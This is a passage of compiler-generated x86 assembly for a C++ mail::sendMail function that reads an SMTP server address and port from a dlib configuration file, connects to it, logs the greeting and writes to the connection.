FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$35 DD 01fH DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$36 DD 011H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$37 DD 011H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$38 DD 011H DD FLAT:__unwindfunclet$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$40 DD 02H DD 00H __catchsym$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$44 DD 08H DD FLAT:??_R0?AVexception@std@@@8 DD 0fffffbb0H DD FLAT:__catch$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$0 DD 040H DD 00H DD 00H DD FLAT:__catch$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$1 __tryblocktable$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z DD 03H DD 023H DD 024H DD 02H DD FLAT:__catchsym$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z$44 __ehfuncinfo$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z DD 019930522H DD 025H DD FLAT:__unwindtable$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z DD 01H DD FLAT:__tryblocktable$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z DD 2 DUP(00H) DD 00H DD 01H ; Function compile flags: /Odtp xdata$x ENDS ; COMDAT ?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z _TEXT SEGMENT tv763 = -1416 ; size = 4 tv760 = -1412 ; size = 4 tv758 = -1408 ; size = 4 tv755 = -1404 ; size = 4 tv796 = -1400 ; size = 4 tv746 = -1396 ; size = 4 tv743 = -1392 ; size = 4 tv795 = -1388 ; size = 4 tv734 = -1384 ; size = 4 tv794 = -1380 ; size = 4 tv732 = -1376 ; size = 4 tv793 = -1372 ; size = 4 tv730 = -1368 ; size = 4 tv792 = -1364 ; size = 4 tv728 = -1360 ; size = 4 tv791 = -1356 ; size = 4 tv726 = -1352 ; size = 4 tv790 = -1348 ; size = 4 tv724 = -1344 ; size = 4 tv789 = -1340 ; size = 4 tv722 = -1336 ; size = 4 tv788 = -1332 ; size = 4 tv720 = -1328 ; size = 4 tv717 = -1324 ; size = 4 tv787 = -1320 ; size = 4 tv708 = -1316 ; size = 4 tv705 = -1312 ; size = 4 tv786 = -1308 ; size = 4 tv696 = -1304 ; size = 4 tv785 = -1300 ; size = 4 tv694 = -1296 ; size = 4 tv784 = -1292 ; size = 4 tv692 = -1288 ; size = 4 tv689 = -1284 ; size = 4 tv783 = -1280 ; size = 4 tv680 = -1276 ; size = 4 tv677 = -1272 ; size = 4 tv782 = -1268 ; size = 4 tv675 = -1264 ; size = 4 tv781 = -1260 ; size = 4 tv673 = -1256 ; size = 4 tv670 = -1252 ; size = 4 tv780 = -1248 ; size = 4 tv661 = -1244 ; size = 4 tv658 = -1240 ; size = 4 tv655 = -1236 ; size = 4 tv129 = -1232 ; size = 4 tv779 = -1228 ; size = 4 tv778 = -1222 ; size = 2 tv777 = -1220 ; size = 4 tv776 = -1216 ; size = 4 tv775 = -1212 ; size = 4 tv774 = -1208 ; size = 4 tv773 = -1204 ; size = 4 tv772 = -1200 ; size = 4 tv771 = -1196 ; size = 4 tv770 = -1192 ; size = 4 tv76 = -1188 ; size = 4 tv769 = -1184 ; size = 4 tv768 = -1180 ; size = 4 $T369524 = -1173 ; size = 1 $T369523 = -1172 ; size = 4 $T369522 = -1168 ; size = 4 $T369521 = -1164 ; size = 4 $T369520 = -1157 ; size = 1 $T369519 = -1156 ; size = 4 $T369518 = -1149 ; size = 1 $T369517 = -1148 ; size = 4 $T369516 = -1141 ; size = 1 $T369515 = -1140 ; size = 4 $T369514 = -1133 ; size = 1 $T369513 = -1132 ; size = 4 $T369512 = -1125 ; size = 1 $T369511 = -1124 ; size = 4 $T369510 = -1120 ; size = 4 $T369509 = -1113 ; size = 1 $T369508 = -1112 ; size = 4 $T369507 = -1108 ; size = 4 _e$151744 = -1104 ; size = 4 _smtp_address$151623 = -1100 ; size = 28 _con$151653 = -1072 ; size = 4 _tmpStr$151622 = -1068 ; size = 28 _sBuffer$151621 = -1040 ; size = 256 _config$151618 = -784 ; size = 116 $T151739 = -664 ; size = 28 $T151730 = -636 ; size = 28 $T151724 = -608 ; size = 28 $T151720 = -580 ; size = 28 $T151719 = -552 ; size = 28 $T151716 = -524 ; size = 28 $T151715 = -496 ; size = 28 $T151712 = -468 ; size = 28 $T151711 = -440 ; size = 28 $T151706 = -412 ; size = 28 $T151697 = -384 ; size = 28 $T151691 = -356 ; size = 28 $T151690 = -328 ; size = 28 $T151685 = -300 ; size = 28 $T151675 = -272 ; size = 28 $T151674 = -244 ; size = 28 $T151669 = -216 ; size = 28 $T151656 = -188 ; size = 28 $T151634 = -160 ; size = 28 $T151633 = -132 ; size = 28 $T151625 = -104 ; size = 28 $T151624 = -76 ; size = 28 $T151619 = -48 ; size = 28 __$ArrayPad$ = -20 ; size = 4 __$EHRec$ = -16 ; size = 16 _to$ = 8 ; size = 28 _subject$ = 36 ; size = 28 _msg$ = 64 ; size = 28 ?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z PROC ; mail::sendMail, COMDAT ; Line 24 push ebp mov ebp, esp push -1 push __ehhandler$?sendMail@mail@@YA_NV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@00@Z mov eax, DWORD PTR fs:0 push eax push ecx sub esp, 1400 ; 00000578H mov eax, DWORD PTR ___security_cookie xor eax, ebp mov DWORD PTR __$ArrayPad$[ebp], eax push ebx push esi push edi push eax lea eax, DWORD PTR __$EHRec$[ebp+4] mov DWORD PTR fs:0, eax mov DWORD PTR __$EHRec$[ebp], esp mov DWORD PTR __$EHRec$[ebp+12], 2 ; Line 26 mov BYTE PTR __$EHRec$[ebp+12], 3 ; Line 27 push OFFSET $SG-68214 lea ecx, DWORD PTR $T151619[ebp] call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR tv768[ebp], eax mov BYTE PTR __$EHRec$[ebp+12], 4 lea eax, DWORD PTR $T151619[ebp] push eax lea ecx, DWORD PTR _config$151618[ebp] call ??0?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@QAE@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1> mov DWORD PTR tv769[ebp], eax mov BYTE PTR __$EHRec$[ebp+12], 6 lea ecx, DWORD PTR $T151619[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > ; Line 30 lea ecx, DWORD PTR _tmpStr$151622[ebp] call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 7 push OFFSET $SG-68216 lea ecx, DWORD PTR $T151625[ebp] call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR tv76[ebp], eax mov BYTE PTR __$EHRec$[ebp+12], 8 push OFFSET $SG-68215 lea ecx, DWORD PTR $T151624[ebp] call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR tv770[ebp], eax mov BYTE PTR __$EHRec$[ebp+12], 9 lea ecx, DWORD PTR $T151624[ebp] push ecx lea ecx, DWORD PTR _config$151618[ebp] call ?block@?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@QBEABV12@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::block mov DWORD PTR tv771[ebp], eax lea edx, DWORD PTR $T151625[ebp] push edx mov ecx, DWORD PTR tv771[ebp] call ??A?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@QBEABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@ABV23@@Z ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::operator[] mov DWORD PTR tv772[ebp], eax mov eax, DWORD PTR tv772[ebp] push eax lea ecx, DWORD PTR _smtp_address$151623[ebp] call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR tv773[ebp], eax mov BYTE PTR __$EHRec$[ebp+12], 11 ; 0000000bH lea ecx, DWORD PTR $T151624[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 12 ; 0000000cH lea ecx, DWORD PTR $T151625[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > ; Line 33 push OFFSET $SG-68218 lea ecx, DWORD PTR $T151634[ebp] call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR tv774[ebp], eax mov BYTE PTR __$EHRec$[ebp+12], 13 ; 0000000dH push OFFSET $SG-68217 lea ecx, DWORD PTR $T151633[ebp] call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR tv775[ebp], eax mov BYTE PTR __$EHRec$[ebp+12], 14 ; 0000000eH lea ecx, DWORD PTR $T151633[ebp] push ecx lea ecx, DWORD PTR _config$151618[ebp] call ?block@?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@QBEABV12@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::block mov DWORD PTR tv776[ebp], eax lea edx, DWORD PTR $T151634[ebp] push edx mov ecx, DWORD PTR tv776[ebp] call ??A?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@QBEABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@ABV23@@Z ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::tokenizer_kernel_1>::operator[] mov DWORD PTR tv777[ebp], eax mov eax, DWORD PTR tv777[ebp] push eax call ??$string_cast@GDU?$char_traits@D@std@@V?$allocator@D@2@@dlib@@YA?BGABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z ; dlib::string_cast<unsigned short,char,std::char_traits<char>,std::allocator<char> > add esp, 4 mov WORD PTR tv778[ebp], ax movzx ecx, WORD PTR tv778[ebp] push ecx lea edx, DWORD PTR _smtp_address$151623[ebp] push edx call ?connect@dlib@@YAPAVconnection@1@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@G@Z ; dlib::connect add esp, 8 mov DWORD PTR tv779[ebp], eax mov eax, DWORD PTR tv779[ebp] push eax lea ecx, DWORD PTR _con$151653[ebp] call ??0?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@PAVconnection@1@@Z ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> > mov BYTE PTR __$EHRec$[ebp+12], 16 ; 00000010H lea ecx, DWORD PTR $T151633[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H lea ecx, DWORD PTR $T151634[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > ; Line 36 push 1000 ; 000003e8H push 256 ; 00000100H lea ecx, DWORD PTR _sBuffer$151621[ebp] push ecx lea ecx, DWORD PTR _con$151653[ebp] call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator-> mov ecx, eax call ?read@connection@dlib@@QAEJPADJK@Z ; dlib::connection::read ; Line 37 push OFFSET $SG-68219 push OFFSET $SG-68220 lea ecx, DWORD PTR $T151656[ebp] call ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::basic_string<char,std::char_traits<char>,std::allocator<char> > mov DWORD PTR tv129[ebp], eax mov edx, DWORD PTR tv129[ebp] mov DWORD PTR tv655[ebp], edx mov BYTE PTR __$EHRec$[ebp+12], 18 ; 00000012H sub esp, 28 ; 0000001cH mov eax, esp mov DWORD PTR $T369507[ebp], esp lea ecx, DWORD PTR _sBuffer$151621[ebp] push ecx mov edx, DWORD PTR tv655[ebp] push edx push eax call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@$$QAV10@PBD@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> > add esp, 12 ; 0000000cH mov DWORD PTR tv658[ebp], eax call ?message@log@helper@@YAXV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PBD@Z ; helper::log::message add esp, 32 ; 00000020H mov BYTE PTR __$EHRec$[ebp+12], 17 ; 00000011H lea ecx, DWORD PTR $T151656[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > ; Line 40 push OFFSET $SG-68221 lea ecx, DWORD PTR _tmpStr$151622[ebp] call ??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::operator= ; Line 41 push OFFSET $SG-68222 sub esp, 28 ; 0000001cH mov eax, esp mov DWORD PTR $T369508[ebp], esp lea ecx, DWORD PTR _tmpStr$151622[ebp] push ecx push OFFSET $SG-68223 push eax call ??$?HDU?$char_traits@D@std@@V?$allocator@D@1@@std@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBDABV10@@Z ; std::operator+<char,std::char_traits<char>,std::allocator<char> > add esp, 12 ; 0000000cH mov DWORD PTR tv661[ebp], eax call ?message@log@helper@@YAXV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PBD@Z ; helper::log::message add esp, 32 ; 00000020H ; Line 42 lea ecx, DWORD PTR _tmpStr$151622[ebp] call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size mov esi, eax lea ecx, DWORD PTR _tmpStr$151622[ebp] call ?size@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEIXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::size push eax lea ecx, DWORD PTR _tmpStr$151622[ebp] call ?data@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::data push eax lea ecx, DWORD PTR _con$151653[ebp] call ??C?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QBEPAVconnection@1@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::operator-> mov ecx, eax call ?write@connection@dlib@@QAEJPBDJ@Z ; dlib::connection::write cmp eax, esi je SHORT $LN6@sendMail ; Line 43 mov BYTE PTR $T369509[ebp], 0 mov BYTE PTR __$EHRec$[ebp+12], 12 ; 0000000cH lea ecx, DWORD PTR _con$151653[ebp] call ??1?$scoped_ptr@Vconnection@dlib@@U?$default_deleter@Vconnection@dlib@@@2@@dlib@@QAE@XZ ; dlib::scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> >::~scoped_ptr<dlib::connection,dlib::default_deleter<dlib::connection> > mov BYTE PTR __$EHRec$[ebp+12], 7 lea ecx, DWORD PTR _smtp_address$151623[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 6 lea ecx, DWORD PTR _tmpStr$151622[ebp] call ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char> >::~basic_string<char,std::char_traits<char>,std::allocator<char> > mov BYTE PTR __$EHRec$[ebp+12], 3 lea ecx, DWORD PTR _config$151618[ebp] call ??1?$config_reader_kernel_1@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V12@V?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@dlib@@V?$map_kernel_1@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$binary_search_tree_kernel_2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@PAXV?$memory_manager_stateless_kernel_1@D@dlib@@U?$less@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@2@@dlib@@V?$memory_manager_stateless_kernel_1@D@4@@2@Vtokenizer_kernel_1@2@@dlib@@UAE@XZ ; dlib::config_reader_kernel_1<dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,std::basic_string<char,std::char_traits<char>,std::allocator<char> >,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> >,dlib::map_kernel_1<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::binary_search_tree_kernel_2<std::basic_string<char,std::char_traits<char>,std::allocator<char> >,void *,dlib::memory_manager_stateless_kernel_1<char>,std::less<std::basic_string<char,std::char_traits<char>,std::allocator<char> > > >,dlib::memory_manager_stateless_kernel_1<char> 